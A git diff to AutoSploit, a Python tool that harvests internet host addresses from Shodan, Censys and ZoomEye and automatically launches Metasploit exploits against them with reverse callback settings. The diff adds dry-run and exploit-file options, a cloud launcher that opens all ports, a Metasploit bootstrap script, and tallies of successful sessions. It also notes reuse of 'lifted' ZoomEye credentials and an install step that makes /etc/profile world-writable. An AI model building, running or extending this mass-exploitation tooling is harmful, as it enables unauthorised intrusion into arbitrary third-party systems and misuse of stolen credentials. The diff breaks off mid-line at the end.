diff --git a/.gitignore b/.gitignore index 9e972d1..302e263 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,5 @@ hosts.txt secret.p uid.p etc/tokens/* +autosploit_out/* +venv/* diff --git a/README.md b/README.md index 3dd6b06..c7f67e1 100644 --- a/README.md +++ b/README.md @@ -55,6 +55,32 @@ docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit EOF ``` +On any Linux system the following should work; + +```bash +git clone https://github.com/NullArray/AutoSploit +cd AutoSploit +chmod +x install.sh +./install.sh +``` + +If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; + +```bash +sudo -s << '_EOF' +pip2 install virtualenv --user +git clone https://github.com/NullArray/AutoSploit.git +virtualenv +source /bin/activate +cd +pip2 install -r requirements.txt +chmod +x install.sh +./install.sh +python autosploit.py +_EOF +``` + + More information on running Docker can be found [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) ## Usage @@ -123,17 +149,6 @@ misc arguments: --whitelist PATH only exploit hosts listed in the whitelist file ``` -## Installation - -On any Linux system the following should work; - -```bash -git clone https://github.com/NullArray/AutoSploit -cd AutoSploit -chmod +x install.sh -./install.sh -``` - If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; ```bash diff --git a/Vagrant/Vagrantfile b/Vagrant/Vagrantfile new file mode 100644 index 0000000..c427e3a --- /dev/null +++ b/Vagrant/Vagrantfile @@ -0,0 +1,28 @@ +# Use as a strating point to spin up a box in lightsail. +# the vagrant-lightsail plugin is required +# You probably also need to: +# - Configure the ssh keys path +# - Install and configure the aws-cli package + +Vagrant.configure('2') do |config| + config.vm.synced_folder ".", "/vagrant", type: "rsync", + rsync__exclude: ".git/", + rsync__auto: true + + config.ssh.private_key_path = '/path/to/id_rsa' + config.ssh.username = 'ubuntu' + config.vm.box = 'lightsail' + config.vm.box_url = 'https://github.com/thejandroman/vagrant-lightsail/raw/master/box/lightsail.box' + config.vm.hostname = 'autosploit-launcher' + + config.vm.provider :lightsail do |provider, override| + provider.port_info = [{ from_port: 0, to_port: 65535, protocol: + 'all' }] + provider.keypair_name = 'id_rsa' + provider.bundle_id = 'small_1_0' + end + + config.vm.provision "bootstrap", type: "shell", run: "once" do |s| + s.path = "./bootstrap/bootstrap.sh" + end +end diff --git a/Vagrant/bootstrap/bootstrap.sh b/Vagrant/bootstrap/bootstrap.sh new file mode 100755 index 0000000..7278465 --- /dev/null +++ b/Vagrant/bootstrap/bootstrap.sh @@ -0,0 +1,19 @@ +#!/bin/bash + +echo "Yolosploit configurator 2.42" +sudo apt-get --yes update +sudo apt-get --yes upgrade + +echo "Installing metasploit. BE PATIENT (5 min max?)" +wget --quiet https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run +chmod +x metasploit-latest-linux-x64-installer.run +sudo ./metasploit-latest-linux-x64-installer.run --unattendedmodeui none --prefix /opt/msf --mode unattended + +echo "Installing python2" +sudo apt-get --yes install python python-pip python-virtualenv git + +sudo apt-get --yes install fish +sudo chsh -s /usr/bin/fish ubuntu + +cd ~ +git clone https://github.com/NullArray/AutoSploit diff --git a/api_calls/censys.py b/api_calls/censys.py index 390927d..2a91842 100644 --- a/api_calls/censys.py +++ b/api_calls/censys.py @@ -15,13 +15,14 @@ class CensysAPIHook(object): Censys API hook """ - def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None, **kwargs): + def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs): self.id = identity self.token = token self.query = query self.proxy = proxy self.user_agent = agent self.host_file = HOST_FILE + self.save_mode = save_mode def censys(self): """ @@ -38,7 +39,7 @@ def censys(self): json_data = req.json() for item in json_data["results"]: discovered_censys_hosts.add(str(item["ip"])) - write_to_file(discovered_censys_hosts, self.host_file) + write_to_file(discovered_censys_hosts, self.host_file, mode=self.save_mode) return True except Exception as e: raise AutoSploitAPIConnectionError(str(e)) \ No newline at end of file diff --git a/api_calls/shodan.py b/api_calls/shodan.py index 33a9277..ff8b68f 100644 --- a/api_calls/shodan.py +++ b/api_calls/shodan.py @@ -17,12 +17,13 @@ class ShodanAPIHook(object): Shodan API hook, saves us from having to install another dependency """ - def __init__(self, token=None, query=None, proxy=None, agent=None, **kwargs): + def __init__(self, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs): self.token = token self.query = query self.proxy = proxy self.user_agent = agent self.host_file = HOST_FILE + self.save_mode = save_mode def shodan(self): """ @@ -38,7 +39,7 @@ def shodan(self): json_data = json.loads(req.content) for match in json_data["matches"]: discovered_shodan_hosts.add(match["ip_str"]) - write_to_file(discovered_shodan_hosts, self.host_file) + write_to_file(discovered_shodan_hosts, self.host_file, mode=self.save_mode) return True except Exception as e: raise AutoSploitAPIConnectionError(str(e)) diff --git a/api_calls/zoomeye.py b/api_calls/zoomeye.py index baf4ccf..eea3b01 100644 --- a/api_calls/zoomeye.py +++ b/api_calls/zoomeye.py @@ -20,13 +20,14 @@ class ZoomEyeAPIHook(object): so we're going to use some 'lifted' credentials to login for us """ - def __init__(self, query=None, proxy=None, agent=None, **kwargs): + def __init__(self, query=None, proxy=None, agent=None, save_mode=None, **kwargs): self.query = query self.host_file = HOST_FILE self.proxy = proxy self.user_agent = agent self.user_file = "{}/etc/text_files/users.lst".format(os.getcwd()) self.pass_file = "{}/etc/text_files/passes.lst".format(os.getcwd()) + self.save_mode = save_mode @staticmethod def __decode(filepath): @@ -81,7 +82,7 @@ def zoomeye(self): discovered_zoomeye_hosts.add(ip) else: discovered_zoomeye_hosts.add(str(item["ip"][0])) - write_to_file(discovered_zoomeye_hosts, self.host_file) + write_to_file(discovered_zoomeye_hosts, self.host_file, mode=self.save_mode) return True except Exception as e: raise AutoSploitAPIConnectionError(str(e)) diff --git a/autosploit.py b/autosploit.py index 13c7eb5..f633a3c 100644 --- a/autosploit.py +++ b/autosploit.py @@ -1,5 +1,9 @@ from autosploit.main import main +from lib.output import error if __name__ == "__main__": - main() + try: + main() + except KeyboardInterrupt: + error("user aborted session") diff --git a/autosploit/main.py b/autosploit/main.py index e3838ce..b4b2cfa 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -1,4 +1,6 @@ +import os import sys +import ctypes import psutil import platform @@ -19,11 +21,23 @@ EXPLOIT_FILES_PATH, START_SERVICES_PATH ) -from lib.jsonize import load_exploits +from lib.jsonize import ( + load_exploits, + load_exploit_file +) def main(): + try: + is_admin = os.getuid() == 0 + except AttributeError: + # we'll make it cross platform because it seems like a cool idea + is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 + + if not is_admin: + close("must have admin privileges to run") + opts = AutoSploitParser().optparser() logo() @@ -73,8 +87,16 @@ def main(): info("attempting to load API keys") loaded_tokens = load_api_keys() AutoSploitParser().parse_provided(opts) - misc_info("checking if there are multiple exploit files") - loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) + + if not opts.exploitFile: + misc_info("checking if there are multiple exploit files") + loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) + else: + loaded_exploits = load_exploit_file(opts.exploitFile) + misc_info("Loaded {} exploits from {}.".format( + len(loaded_exploits), + opts.exploitFile)) + AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits) else: warning("no arguments have been parsed, defaulting to terminal session. press 99 to quit and help to get help") diff --git a/dryrun_autosploit.sh b/dryrun_autosploit.sh new file mode 100644 index 0000000..1089632 --- /dev/null +++ b/dryrun_autosploit.sh @@ -0,0 +1,29 @@ +#!/usr/bin/env bash + + +if [[ $# -lt 1 ]]; then + echo "Syntax:" + echo -e "\t./dryrun_autosploit.sh [whitelist]" + exit 1 +fi + +echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; +read + +WHITELIST=$2 +SEARCH_QUERY=$1 +LPORT=4444 + +LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` +TIMESTAMP=`date +%s` + + +if [ ! $WHITELIST ]; then + echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e" + + python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e +else + echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite --whitelist $WHITELIST -e -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e" + + python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e +fi; diff --git a/etc/json/default_fuzzers.json b/etc/json/default_fuzzers.json new file mode 100644 index 0000000..b606973 --- /dev/null +++ b/etc/json/default_fuzzers.json @@ -0,0 +1,25 @@ +{ + "exploits": [ + "auxiliary/fuzzers/dns/dns_fuzzer", + "auxiliary/fuzzers/ftp/client_ftp", + "auxiliary/fuzzers/ftp/ftp_pre_post", + "auxiliary/fuzzers/http/http_form_field", + "auxiliary/fuzzers/http/http_get_uri_long", + "auxiliary/fuzzers/http/http_get_uri_strings", + "auxiliary/fuzzers/ntp/ntp_protocol_fuzzer", + "auxiliary/fuzzers/smb/smb2_negotiate_corrupt", + "auxiliary/fuzzers/smb/smb_create_pipe", + "auxiliary/fuzzers/smb/smb_create_pipe_corrupt", + "auxiliary/fuzzers/smb/smb_negotiate_corrupt ", + "auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt", + "auxiliary/fuzzers/smb/smb_tree_connect", + "auxiliary/fuzzers/smb/smb_tree_connect_corrupt", + "auxiliary/fuzzers/smtp/smtp_fuzzer", + "auxiliary/fuzzers/ssh/ssh_kexinit_corrupt", + "auxiliary/fuzzers/ssh/ssh_version_15", + "auxiliary/fuzzers/ssh/ssh_version_2", + "auxiliary/fuzzers/ssh/ssh_version_corrupt", + "auxiliary/fuzzers/tds/tds_login_corrupt", + "auxiliary/fuzzers/tds/tds_login_username" + ] +} diff --git a/etc/json/default_modules.json b/etc/json/default_modules.json index f30a51b..f0e5a65 100644 --- a/etc/json/default_modules.json +++ b/etc/json/default_modules.json @@ -263,27 +263,6 @@ "exploit/windows/smb/ipass_pipe_exec", "exploit/windows/smb/smb_relay", "auxiliary/sqli/oracle/jvm_os_code_10g", - "auxiliary/sqli/oracle/jvm_os_code_11g", - "auxiliary/fuzzers/dns/dns_fuzzer", - "auxiliary/fuzzers/ftp/client_ftp", - "auxiliary/fuzzers/ftp/ftp_pre_post", - "auxiliary/fuzzers/http/http_form_field", - "auxiliary/fuzzers/http/http_get_uri_long", - "auxiliary/fuzzers/http/http_get_uri_strings", - "auxiliary/fuzzers/ntp/ntp_protocol_fuzzer", - "auxiliary/fuzzers/smb/smb2_negotiate_corrupt", - "auxiliary/fuzzers/smb/smb_create_pipe", - "auxiliary/fuzzers/smb/smb_create_pipe_corrupt", - "auxiliary/fuzzers/smb/smb_negotiate_corrupt ", - "auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt", - "auxiliary/fuzzers/smb/smb_tree_connect", - "auxiliary/fuzzers/smb/smb_tree_connect_corrupt", - "auxiliary/fuzzers/smtp/smtp_fuzzer", - "auxiliary/fuzzers/ssh/ssh_kexinit_corrupt", - "auxiliary/fuzzers/ssh/ssh_version_15", - "auxiliary/fuzzers/ssh/ssh_version_2", - "auxiliary/fuzzers/ssh/ssh_version_corrupt", - "auxiliary/fuzzers/tds/tds_login_corrupt", - "auxiliary/fuzzers/tds/tds_login_username" + "auxiliary/sqli/oracle/jvm_os_code_11g" ] } diff --git a/etc/scripts/start_services.sh b/etc/scripts/start_services.sh index 2a4ca0f..46195cc 100755 --- a/etc/scripts/start_services.sh +++ b/etc/scripts/start_services.sh @@ -1,11 +1,11 @@ #!/bin/bash function startApacheLinux () { - sudo service apache2 start > /dev/null 2>&1 + sudo systemctl start apache2 > /dev/null 2>&1 } function startPostgreSQLLinux () { - sudo service postgresql start > /dev/null 2>&1 + sudo systemctl start postgresql > /dev/null 2>&1 } function startApacheOSX () { @@ -24,8 +24,8 @@ function main () { startApacheOSX; startPostgreSQLOSX; else - echo "[*} invalid operating system"; + echo "[*] invalid operating system"; fi } -main $@; \ No newline at end of file +main $@; diff --git a/install.sh b/install.sh index 2d4b49c..a92582a 100755 --- a/install.sh +++ b/install.sh @@ -23,12 +23,48 @@ function installFedora () { } function installOSX () { - sudo /usr/sbin/apachectl start; - brew doctor; - brew update; - brew install postgresql; - brew services start postgresql; - installMSF; + xcode-select --install; + /usr/bin/ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)"; + echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> ~/.bash_profile; + source ~/.bash_profile; + brew tap homebrew/versions; + brew install nmap; + brew install homebrew/versions/ruby21; + gem install bundler; + brew install postgresql --without-ossp-uuid; + initdb /usr/local/var/postgres; + mkdir -p ~/Library/LaunchAgents; + cp /usr/local/Cellar/postgresql/9.4.4/homebrew.mxcl.postgresql.plist ~/Library/LaunchAgents/; + launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist; + createuser msf -P -h localhost; + createdb -O msf msf -h localhost; + installOsxMSF; +} + +function installOsxMSF () { + mkdir /usr/local/share; + cd /usr/local/share/; + git clone https://github.com/rapid7/metasploit-framework.git; + cd metasploit-framework; + for MSF in $(ls msf*); do ln -s /usr/local/share/metasploit-framework/$MSF /usr/local/bin/$MSF;done; + sudo chmod go+w /etc/profile; + sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml >> /etc/profile; + bundle install; + echo "[!!] A DEFAULT CONFIG OF THE FILE 'database.yml' WILL BE USED"; + rm /usr/local/share/metasploit-framework/config/database.yml; + cat > /usr/local/share/metasploit-framework/config/database.yml << '_EOF' +production: + adapter: postgresql + database: msf + username: msf + password: + host: 127.0.0.1 + port: 5432 + pool: 75 + timeout: 5 +_EOF + source /etc/profile; + source ~/.bash_profile; } function installMSF () { diff --git a/lib/banner.py b/lib/banner.py index 4e33e4d..daf7f02 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "2.1" +VERSION = "2.2" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index c5b8185..3bdf024 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -41,6 +41,11 @@ def optparser(): help="use shodan.io as the search engine to gather hosts") se.add_argument("-a", "--all", action="store_true", dest="searchAll", help="search all available search engines to gather hosts") + save_results_args = se.add_mutually_exclusive_group(required=False) + save_results_args.add_argument("-O", "--overwrite", action="store_true", dest="overwriteHosts", + help="When specified, start from scratch by overwriting the host file with new search results.") + save_results_args.add_argument("-A", "--append", action="store_true", dest="appendHosts", + help="When specified, append discovered hosts to the host file.") req = parser.add_argument_group("requests", "arguments to edit your requests") req.add_argument("--proxy", metavar="PROTO://IP:PORT", dest="proxyConfig", @@ -59,6 +64,10 @@ def optparser(): help="set the configuration for MSF (IE -C default 127.0.0.1 8080)") exploit.add_argument("-e", "--exploit", action="store_true", dest="startExploit", help="start exploiting the already gathered hosts") + exploit.add_argument("-d", "--dry-run", action="store_true", dest="dryRun", + help="Do not launch metasploit's exploits. Do everything else. msfconsole is never called.") + exploit.add_argument("-f", "--exploit-file-to-use", metavar="PATH", dest="exploitFile", + help="Run AutoSploit with provided exploit JSON file.") misc = parser.add_argument_group("misc arguments", "arguments that don't fit anywhere else") misc.add_argument("--ruby-exec", action="store_true", dest="rubyExecutableNeeded", @@ -80,10 +89,10 @@ def parse_provided(opt): parser = any([opt.searchAll, opt.searchZoomeye, opt.searchCensys, opt.searchShodan]) if opt.rubyExecutableNeeded and opt.pathToFramework is None: - lib.settings.close("if the Ruby exec is needed, so is that path to metasploit, pass the `--msf-path` switch") + lib.settings.close("if the Ruby exec is needed, so is the path to metasploit, pass the `--msf-path` switch") if opt.pathToFramework is not None and not opt.rubyExecutableNeeded: lib.settings.close( - "if you need the metasploit path, you also need the executable. pass the `--ruby-exec` switch" + "if you need the metasploit path, you also need the ruby executable. pass the `--ruby-exec` switch" ) if opt.personalAgent is not None and opt.randomAgent: lib.settings.close("you cannot use both a personal agent and a random agent, choose only one") @@ -97,7 +106,9 @@ def parse_provided(opt): if opt.startExploit and opt.msfConfig is None: lib.settings.close( "you must provide the configuration for metasploit in order to start the exploits " - "do so by passing the `-C\--config` switch IE -C default 127.0.0.1 8080" + "do so by passing the `-C\--config` switch (IE -C default 127.0.0.1 8080). don't be " + "an idiot and keep in mind that sending connections back to your localhost is " + "probably not a good idea" ) if not opt.startExploit and opt.msfConfig is not None: lib.settings.close( @@ -124,7 +135,9 @@ def single_run_args(opt, keys, loaded_modules): ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd()) with open(ethics_file) as ethics: ethic = random.choice(ethics.readlines()).strip() - lib.settings.close("Here we have an ethical lesson for you:\n\n{}".format(ethic)) + lib.settings.close( + "You should take this ethical lesson into consideration " + "before you continue with the use of this tool:\n\n{}\n".format(ethic)) if opt.exploitList: try: lib.output.info("converting {} to JSON format".format(opt.exploitList)) @@ -134,44 +147,60 @@ def single_run_args(opt, keys, loaded_modules): lib.output.error("caught IOError '{}' check the file path and try again".format(str(e))) sys.exit(0) + search_save_mode = None + if opt.overwriteHosts: + # Create a new empty file, overwriting the previous one. + # Set the mode to append afterwards + # This way, successive searches will start clean without + # overriding each others. + open(lib.settings.HOST_FILE, mode="w").close() + search_save_mode = "a" + elif opt.appendHosts: + search_save_mode = "a" + + # changed my mind it's not to bad if opt.searchCensys: lib.output.info(single_search_msg.format("Censys")) api_searches[2]( keys["censys"][1], keys["censys"][0], - opt.searchQuery, proxy=headers[0], agent=headers[1] + opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).censys() if opt.searchZoomeye: lib.output.info(single_search_msg.format("Zoomeye")) api_searches[0]( - opt.searchQuery, proxy=headers[0], agent=headers[1] + opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).zoomeye() if opt.searchShodan: lib.output.info(single_search_msg.format("Shodan")) api_searches[1]( - keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1] + keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).shodan() if opt.searchAll: lib.output.info("searching all search engines in order") api_searches[0]( - opt.searchQuery, proxy=headers[0], agent=headers[1] + opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).zoomeye() api_searches[1]( - keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1] + keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).shodan() api_searches[2]( - keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1] + keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], + save_mode=search_save_mode ).censys() if opt.startExploit: - try: - hosts = open(lib.settings.HOST_FILE).readlines() - if opt.whitelist: - hosts = lib.exploitation.exploiter.whitelist_wash(hosts, whitelist_file=opt.whitelist) - lib.exploitation.exploiter.AutoSploitExploiter( - opt.msfConfig, - loaded_modules, - hosts, - ruby_exec=opt.rubyExecutableNeeded, - msf_path=opt.pathToFramework - ).start_exploit() - except KeyboardInterrupt: - lib.output.warning("user aborted scan") + hosts = open(lib.settings.HOST_FILE).readlines() + if opt.whitelist: + hosts = lib.exploitation.exploiter.whitelist_wash(hosts, whitelist_file=opt.whitelist) + lib.exploitation.exploiter.AutoSploitExploiter( + opt.msfConfig, + loaded_modules, + hosts, + ruby_exec=opt.rubyExecutableNeeded, + msf_path=opt.pathToFramework, + dryRun=opt.dryRun + ).start_exploit() diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 7836e92..9bdee43 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -1,6 +1,7 @@ -import datetime -import csv import re +import csv +import datetime + from os import ( makedirs, path, @@ -15,7 +16,7 @@ def whitelist_wash(hosts, whitelist_file): """ remove IPs from hosts list that do not appear in WHITELIST_FILE """ - whitelist_hosts = open(whitelist_file).readlines() + whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()] lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts)))) washed_hosts = [] #return supplied hosts if whitelist file is empty @@ -23,11 +24,12 @@ def whitelist_wash(hosts, whitelist_file): return hosts else: for host in hosts: - if host in whitelist_hosts: + if host.strip() in whitelist_hosts: washed_hosts.append(host) return washed_hosts + class AutoSploitExploiter(object): sorted_modules = [] @@ -41,11 +43,12 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs): self.single = kwargs.get("single", None) self.ruby_exec = kwargs.get("ruby_exec", False) self.msf_path = kwargs.get("msf_path", None) + self.dry_run = kwargs.get("dryRun", False) def view_sorted(self): """ view the modules that have been sorted by the relevance - there is a chance this will display 0 + there is a chance this will display 0 (see TODO[1]) """ for mod in self.sorted_modules: print(mod) @@ -60,11 +63,12 @@ def sort_modules_by_query(self): self.sorted_modules.append(mod) return self.sorted_modules - def start_exploit(self): + def start_exploit(self, sep="*" * 10): """ start the exploit, there is still no rollover but it's being worked """ - # TODO:/ fix the rollover issue here + if self.dry_run: + lib.settings.close("dry run was initiated, exploitation will not be done") today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss") current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable) @@ -82,16 +86,23 @@ def start_exploit(self): "Failure Logs", "All Logs"]) + lib.output.info("Launching exploits against {hosts_len} hosts:".format(hosts_len=len(self.hosts))) + + win_total = 0 + fail_total = 0 + for host in self.hosts: current_host_path = path.join(current_run_path, host.strip()) makedirs(current_host_path) for mod in self.mods: - lib.output.info( - "launching exploit '{}' against host '{}'".format( - mod.strip(), host.strip() + if not self.dry_run: + lib.output.info( + "launching exploit '{}' against host '{}'".format( + mod.strip(), host.strip() + ) ) - ) + cmd_template = ( "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" ) @@ -111,7 +122,7 @@ def start_exploit(self): "setg threads 20\n" "set rhost {rhost}\n" "set rhosts {rhosts}\n" - "run\n" + "run -z\n" "exit\n" ) @@ -141,12 +152,24 @@ def start_exploit(self): rc_script_path=current_rc_script_path ) - output = lib.settings.cmdline(cmd) + output = [""] + if not self.dry_run: + output = lib.settings.cmdline(cmd) ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') - msf_output_lines = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)]) - msf_wins = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[\+\]', x)]) - msf_fails = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[-\]', x)]) + msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] + + msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or + 'Meterpreter' in x or + 'Session' in x or + 'Sending stage' in x] + + msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)] + + if len(msf_wins): + win_total += 1 + if len(msf_fails): + fail_total += 1 csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) csv_file.writerow([rhost, @@ -154,6 +177,20 @@ def start_exploit(self): module_name, lhost, lport, - msf_wins, - msf_fails, - msf_output_lines]) + linesep.join(msf_wins), + linesep.join(msf_fails), + linesep.join(msf_output_lines)]) + + print() + lib.output.info("{}RESULTS{}".format(sep, sep)) + + if self.dry_run: + lib.output.info("\tDRY RUN!") + lib.output.info("\t0 exploits run against {} hosts.".format(len(self.hosts))) + else: + lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts))) + lib.output.info("\t{} exploit successful (Check report.csv to validate!).".format(win_total)) + lib.output.info("\t{} exploit failed.".format(fail_total)) + + lib.output.info("\tExploit run saved to {}".format(str(current_run_path))) + lib.output.info("\tReport saved to {}".format(str(report_path))) diff --git a/lib/jsonize.py b/lib/jsonize.py index c32cdca..39b08a8 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -12,7 +12,7 @@ def random_file_name(acceptable=string.ascii_letters, length=7): create a random filename. `note: this could potentially cause issues if there - a lot of file in the directory` + a lot of files in the directory` """ retval = set() for _ in range(length): @@ -20,6 +20,26 @@ def random_file_name(acceptable=string.ascii_letters, length=7): return ''.join(list(retval)) +def load_exploit_file(path, node="exploits"): + """ + load exploits from a given file + """ + selected_file_path = path + + retval = [] + try: + with open(selected_file_path) as exploit_file: + # loading it like this has been known to cause Unicode issues later on down + # the road + _json = json.loads(exploit_file.read()) + for item in _json[node]: + # so we'll reload it into a ascii string before we save it into the file + retval.append(str(item)) + except IOError as e: + lib.settings.close(e) + return retval + + def load_exploits(path, node="exploits"): """ load exploits from a given path, depending on how many files are loaded into @@ -29,9 +49,9 @@ def load_exploits(path, node="exploits"): retval = [] file_list = os.listdir(path) if len(file_list) != 1: - lib.output.info("total of {} exploit files discovered for use, select one".format(len(file_list))) + lib.output.info("total of {} exploit files discovered for use, select one:".format(len(file_list))) for i, f in enumerate(file_list, start=1): - print("{}. {}".format(i, f[:-5])) + print("{}. '{}'".format(i, f[:-5])) action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) selected_file = file_list[int(action) - 1] else: @@ -67,4 +87,3 @@ def text_file_to_dict(path): _data = json.dumps(start_dict, indent=4, sort_keys=True) exploits.write(_data) return filename_path - diff --git a/lib/settings.py b/lib/settings.py index 2baac3a..3f1250f 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -108,20 +108,33 @@ def check_services(service_name): return True - -def write_to_file(data_to_write, filename, mode="a+"): +def write_to_file(data_to_write, filename, mode=None): """ write data to a specified file, if it exists, ask to overwrite """ global stop_animation if os.path.exists(filename): - stop_animation = True - is_append = lib.output.prompt("would you like to (a)ppend or (o)verwrite the file") - if is_append == "o": - mode = "w" - elif is_append != "a": - lib.output.warning("invalid input provided ('{}'), appending to file".format(is_append)) + if not mode: + stop_animation = True + is_append = lib.output.prompt("would you like to (a)ppend or (o)verwrite the file") + if is_append.lower() == "o": + mode = "w" + elif is_append.lower() == "a": + mode = "a+" + else: + lib.output.error("invalid input provided ('{}'), appending to file".format(is_append)) + lib.output.error("Search results NOT SAVED!") + + if mode == "w": + lib.output.warning("Overwriting to {}".format(filename)) + if mode == "a": + lib.output.info("Appending to {}".format(filename)) + + else: + # File does not exists, mode does not matter + mode = "w" + with open(filename, mode) as log: if isinstance(data_to_write, (tuple, set, list)): for item in list(data_to_write): @@ -132,15 +145,13 @@ def write_to_file(data_to_write, filename, mode="a+"): return filename -def load_api_keys(path="{}/etc/tokens".format(CUR_DIR)): +def load_api_keys(unattended=False, path="{}/etc/tokens".format(CUR_DIR)): """ load the API keys from their .key files """ - """ - make the directory if it does not exist - """ + # make the directory if it does not exist if not os.path.exists(path): os.mkdir(path) @@ -156,22 +167,17 @@ def load_api_keys(path="{}/etc/tokens".format(CUR_DIR)): else: lib.output.info("{} API token loaded from {}".format(key.title(), API_KEYS[key][0])) api_tokens = { - "censys": (open(API_KEYS["censys"][0]).read(), open(API_KEYS["censys"][1]).read()), - "shodan": (open(API_KEYS["shodan"][0]).read(), ) + "censys": (open(API_KEYS["censys"][0]).read().rstrip(), open(API_KEYS["censys"][1]).read().rstrip()), + "shodan": (open(API_KEYS["shodan"][0]).read().rstrip(), ) } return api_tokens def cmdline(command): """ - Function that allows us to store system command output in a variable. - We'll change this later in order to solve the potential security - risk that arises when passing untrusted input to the shell. - - I intend to have the issue resolved by Version 1.5.0. + send the commands through subprocess """ - #os.system(command) lib.output.info("Executing command '{}'".format(command.strip())) split_cmd = [x.strip() for x in command.split(" ") if x] @@ -192,6 +198,7 @@ def check_for_msf(): """ return os.getenv("msfconsole", False) or distutils.spawn.find_executable("msfconsole") + def logo(): """ display a random banner from the banner.py file diff --git a/lib/term/terminal.py b/lib/term/terminal.py index c0bf2da..7396b45 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -80,7 +80,7 @@ def view_gathered_hosts(self): def add_single_host(self): """ - add a singluar host to the hosts.txt file and check if the host + add a singular host to the hosts.txt file and check if the host will resolve to a true IP address, if it is not a true IP address you will be re-prompted for an IP address @@ -129,7 +129,13 @@ def gather_hosts(self, query, given_choice=None, proxy=None, agent=None): else: choice = given_choice while not searching: + # TODO[2]:// bug in the animation, if the user chooses one search engine to search + # the animation does not stop when the user chooses a single search engine, instead + # the user will see the animation continuously until they either: + # A) exit the terminal + # B) search another search engine try: + # something in here needs to change (see TODO[2]) choice = int(choice) if choice == 1: choice_dict[choice]( @@ -204,29 +210,36 @@ def exploit_gathered_hosts(self, loaded_mods, hosts=None): ruby_exec=ruby_exec, msf_path=msf_path ) - sorted_mods = exploiter.sort_modules_by_query() - choice = lib.output.prompt( - "a total of {} modules have been sorted by relevance, would you like to display them[y/N]".format( - len(sorted_mods) + try: + sorted_mods = exploiter.sort_modules_by_query() + choice = lib.output.prompt( + "a total of {} modules have been sorted by relevance, would you like to display them[y/N]".format( + len(sorted_mods) + ) ) - ) - if not choice.lower().strip().startswith("y"): - mods = lib.output.prompt("use relevant modules[y/N]") - if mods.lower().startswith("n"): - lib.output.info("starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) - exploiter.start_exploit() - elif mods.lower().startswith("y"): - lib.output.info("starting 